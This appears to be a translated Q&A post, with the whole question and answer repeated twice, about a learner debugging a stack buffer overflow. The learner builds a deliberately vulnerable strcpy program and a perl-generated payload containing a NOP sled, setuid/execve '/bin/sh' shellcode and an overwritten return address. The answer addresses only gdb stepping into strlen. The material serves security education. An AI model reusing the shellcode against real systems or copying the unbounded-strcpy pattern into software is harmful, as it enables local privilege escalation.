strcpy 的基本缓冲区溢出
basic buffer overflow with strcpy
我正在阅读有关基本缓冲区溢出的信息:http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html。我以为我明白发生了什么,所以我制作了自己的程序:
//vulnerable1.c
#include <stdio.h>
#define MAX_DEGF_SIZE 720
int main(int argc, char* argv[])
{
char degF[MAX_DEGF_SIZE];
if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
strcpy(degF, argv[1]);
} else {
fprintf(stderr, "degF to degC converter\n");
fprintf(stderr, "Usage: %s <degF>\n", argv[0]);
return -1;
}
}
由于缓冲区大小为 720,我测试了输入需要多大。
./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC
./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault
这里我看到我至少需要732字节。接下来我 disass main 查看实际保留了多少字节:
(gdb) disass main
Dump of assembler code for function main:
0x08048514 <+0>: push %ebp
0x08048515 <+1>: mov %esp,%ebp
0x08048517 <+3>: and [=12=]xfffffff0,%esp
0x0804851a <+6>: sub [=12=]x2f0,%esp
0x2f0 = 752。所以变量被填充了 20 个字节。因此,我需要 756 个字节来开始覆盖保存的 ebp,并需要 760 个字节来覆盖 return 地址。我的堆栈细分是:
NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760
现在我试试看:
gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11 if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70 ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73 in ../sysdeps/i386/i686/multiarch/strlen.S
这里发生了什么?
您只是步入 strlen
,它显然是在汇编中实现的,而不是在 C 中实现的(可能是为了性能)。
继续单步执行直到返回 main
,或使用 next
单步执行函数调用。
我正在阅读有关基本缓冲区溢出的信息:http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html。我以为我明白发生了什么,所以我制作了自己的程序:
//vulnerable1.c
#include <stdio.h>
#define MAX_DEGF_SIZE 720
int main(int argc, char* argv[])
{
char degF[MAX_DEGF_SIZE];
if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
strcpy(degF, argv[1]);
} else {
fprintf(stderr, "degF to degC converter\n");
fprintf(stderr, "Usage: %s <degF>\n", argv[0]);
return -1;
}
}
由于缓冲区大小为 720,我测试了输入需要多大。
./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC
./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault
这里我看到我至少需要732字节。接下来我 disass main 查看实际保留了多少字节:
(gdb) disass main
Dump of assembler code for function main:
0x08048514 <+0>: push %ebp
0x08048515 <+1>: mov %esp,%ebp
0x08048517 <+3>: and [=12=]xfffffff0,%esp
0x0804851a <+6>: sub [=12=]x2f0,%esp
0x2f0 = 752。所以变量被填充了 20 个字节。因此,我需要 756 个字节来开始覆盖保存的 ebp,并需要 760 个字节来覆盖 return 地址。我的堆栈细分是:
NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760
现在我试试看:
gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11 if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70 ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73 in ../sysdeps/i386/i686/multiarch/strlen.S
这里发生了什么?
您只是步入 strlen
,它显然是在汇编中实现的,而不是在 C 中实现的(可能是为了性能)。
继续单步执行直到返回 main
,或使用 next
单步执行函数调用。